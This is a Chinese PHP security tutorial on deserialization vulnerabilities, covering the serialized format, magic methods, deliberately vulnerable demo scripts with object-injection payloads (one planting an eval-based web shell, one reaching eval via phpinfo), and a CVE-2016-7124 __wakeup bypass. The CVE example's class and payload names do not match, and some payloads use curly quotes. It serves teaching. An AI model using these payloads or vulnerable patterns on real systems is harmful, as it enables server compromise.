前置知识
在 PHP 中主要就是通过serialize和unserialize来实现数据的序列化和反序列化
序列化:把对象转换为字节序列的过程成为对象的序列化。
反序列化:把字节序列恢复为对象的过程称为对象的反序列化。
举个例子:
代码:
<?php
class test{
public $who="just a test";
}
$a=serialize(new test);
echo $a;
?>
执行结果:
O:4:"test":1:{s:3:"who";s:11:"just a test";}
序列解析
对象object | 对象名称长度 | 对象名称 | 对象中变量个数 | 变量的属性 | 变量长度 | 变量名称 | 变量值的属性 | 变量值的长度 | 变量值 |
---|---|---|---|---|---|---|---|---|---|
O | 4 | test | 1 | s | 3 | who | s | 11 | just a test |
再来一个例子:
代码:
<?php
class test{
public $a="private";
protected $b="protected";
public $c="public";
function __construct()
{
echo "__construct()",PHP_EOL;
}
function __destruct()
{
// TODO: Implement __destruct() method.
echo "__destruct()",PHP_EOL;
}
function __toString()
{
// TODO: Implement __toString() method.
return "__toString()";
}
function __sleep()
{
// TODO: Implement __sleep() method.
echo "__sleep()",PHP_EOL;
return array("a","b","c");
}
function __wakeup()
{
// TODO: Implement __wakeup() method.
echo "__wakeup()",PHP_EOL;
}
function __get($a)
{
// TODO: Implement __get() method.
echo "__get()",PHP_EOL;
return $this->a;
}
}
$class = new test(); //生成一个示例对象
echo $class,PHP_EOL; //把对象$class当作字符串输出
echo $class->a,PHP_EOL; //输出对象$class的变量
$str=serialize($class); //序列化对象$class
echo $str,PHP_EOL; //输出序列化字符串
$new_class=unserialize($str); //反序列化
?>
几个比较重要的函数
__construct()
在对象被创建时触发
__destruct()
在对象被销毁时触发
__sleep()
在对象被序列化之前触发
__wakeup()
在对象被反序列化之前触发
__toString()
当对象被当成字符串时触发
__get()
当访问不可访问的属性时触发
输出结果:
__construct() //生成实例时,调用构造函数__construct()
__toString() //echo $class,这里通过echo 把 对象$class 当做字符串输出 , 所以调用 __toString()
__get()
private //变量a的值为private
__sleep() //$str=serialize($class),序列化对象$class,把生成的字符串赋值给$str,serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,此方法用于清理对象,并且返回一个包含对象中所有应被序列化的变量名称的数组
O:4:"test":3:{s:7:"testa";s:7:"private";s:4:" * b";s:9:"protected";s:1:"c";s:6:"public";}
__wakeup() //$new_class = unserialize($str) : 反序列化操作,将字符串重构成对象。unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。__wakeup()经常用在反序列化操作中,比如重新建立数据库连接,或执行其它初始化操作。当代码执行完毕后,会调用析构函数__destruct(),销毁对象,因为这里生成了两个对象,所以析构函数会被执行两次。
__destruct()
__destruct()
细心的人会发现 , 上面分别定义了三类变量 , 即 private $a , protected $b , public $c , 它们经过序列化后的字符串是有区别的
private
数据类型:属性名长度:"\00类名\00属性名";数据类型:属性值长度:“属性值”
protected
数据类型:属性名长度:"\00*\00属性名";数据类型:属性值长度:属性值
public
数据类型:属性名长度:属性名;数据类型:属性值长度:属性值
属性名上的区别在构造POC时十分关键!
需要注意变量的分类,变量类别分三种:
Ⅰ)public:在反序列化后,保持原型;
Ⅱ)protected:序列化后,在变量名前面加上了%00*%00,即%00*%00属性名;
Ⅲ)private:序列化后,在类名两边加上了%00,即%00类名%00属性名;
php反序列化漏洞成因:
php反序列化漏洞主要原因是因为未对用户输入的序列化字符串漏洞进行检测,导致攻击者可以控制反序列化的过程,从而导致各种危险行为
demo1:
用户恶意利用魔术方法中的漏洞
<?php
class test{
public $a='';
function __wakeup(){
$fp=fopen('shell.php','w+');
fwrite($fp,$this->a);
fclose($fp);
}
}
$test=new test();
$string=$_GET['string'];
$test->a=$string;
$str=unserialize($string);
?>
payload:?string=O:4:“test”:1:{s:1:“a”;s:29:"<?php eval($_POST[shell]); ?>";}
demo2:
利用普通成员方法中的漏洞
<?php
class noob{
var $test='';
function __construct(){
$this->test=new noob1();
}
function __destruct(){
$this->test->action();
}
}
class noob1{
function action(){
echo "noob!",PHP_EOL;
}
}
class noob2{
var $test1="";
function action(){
eval($this->test1);
}
}
$calss=new noob(); //生成一个$class,调用__construct()方法,将noob1对象赋值给$test
$str=unserialize($_GET['string']); //unserialize,调用__destruct()方法,执行action()函数
print_r($str);
?>
payload:?string=O:4:“noob”:1:{s:4:“test”;O:5:“noob2”:1:{s:5:“test1”;s:10:“phpinfo();”;}}
noob Object ( [test] => noob2 Object ( [test1] => phpinfo(); ) )
传入一个对象noob,对象变量名为test,test变量的值是名称noob2的对象,该noob2对象包含对象test1,值为phpinfo();
CVE-2016-7124
PHP反序列化漏洞CVE-2016-7124 ,该漏洞使得攻击者可以成功的绕过 __wakeup() 函数 。
__wakeup()
在我们反序列化时,会先检查类中是否存在__wakeup(),如果存在,则执行。但如果对象属性个数的值大于真实的属性个数时就会跳过__wakeup()执行__destruct()
影响版本:
PHP5 < 5.6.25
PHP7 < 7.0.10
代码实例:
<?php
header("Content-Type: text/html; charset=utf-8");
class Ameng{
public $name='1.php';
function __destruct(){
echo "destruct执行<br>";
echo highlight_file($this->name, true);
}
function __wakeup(){
echo "wakeup执行<br>";
$this->name='1.php';
}
}
$data = 'O:4:"test":2:{s:4:"name";s:5:"2.php";}';
unserialize($data);
?>
执行结果:
destruct执行
<?php
echo "test";
?>
内容参考:
1、https://www.guildhab.top/?p=129
2、https://www.php.net/manual/zh/language.oop5.magic.php
3、https://www.php.net/manual/zh/language.oop5.decon.php#object.destruct